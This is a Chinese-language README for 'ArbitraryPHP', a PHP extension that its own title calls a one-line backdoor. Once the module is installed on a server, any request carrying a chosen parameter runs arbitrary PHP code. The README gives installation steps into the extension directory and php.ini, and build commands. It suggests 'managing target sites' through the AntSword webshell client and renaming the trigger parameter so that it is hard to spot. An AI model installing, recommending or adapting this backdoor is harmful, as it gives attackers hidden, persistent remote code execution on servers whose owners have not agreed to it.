arbitrary-php-extension: PHP擴充套件一句話後門
ArbitraryPHP - 任意PHP程式碼執行擴充套件
這是一個實驗性的PHP擴充套件,載入這個擴充套件後,每次請求將可以執行一段自己的PHP程式碼。
可用於:
- 管理目標PHP站點
- HOOK與分析HTTP執行流程
- 在不修改原始碼的情況下控制PHP執行結果
安裝
選擇對應版本的PHP,下載 ofollow,noindex" target="_blank">Releases 下的二進位制檔案安裝包,解壓並獲得相應PHP版本的二進位制檔案。
執行 php -i |grep extension_dir
,獲取擴充套件目錄:
將二進位制檔案arbitraryphp.so移動到擴充套件目錄中,並修改php.ini,開啟這個擴充套件:
extension=arbitraryphp.so
使用
請求任意一個PHP,在引數 arbitrary_php
中增加任意PHP程式碼,即可執行:
也可以是POST請求:
使用 AntSword 管理:
從原始碼編譯
你也可以自己編譯擴充套件,首先安裝如下軟體:
- docker
編譯生成5.4~7.2版本下所有擴充套件:
bash builds.sh
只生成某個PHP版本的擴充套件:
docker run -it --rm --name uu -v /root/arbitrary-php:/app tuwen/zephir:7.2 bash /app/build-ext.sh
自定義執行引數
如果需要自定義請求引數 arbitrary_php
為其他值,可以修改 arbitraryphp/ext/initial/pre_request.h
中 REQUEST_NAME
的值:
void pre_request(TSRMLS_D); #define REQUEST_NAME "please_edit_it"
再重新編譯擴充套件即可。
支援
二進位制檔案僅支援在Linux下使用,Mac或Windows等作業系統,請自行編譯。
LICENSE
ArbitraryPHP遵循MIT開源協議釋出。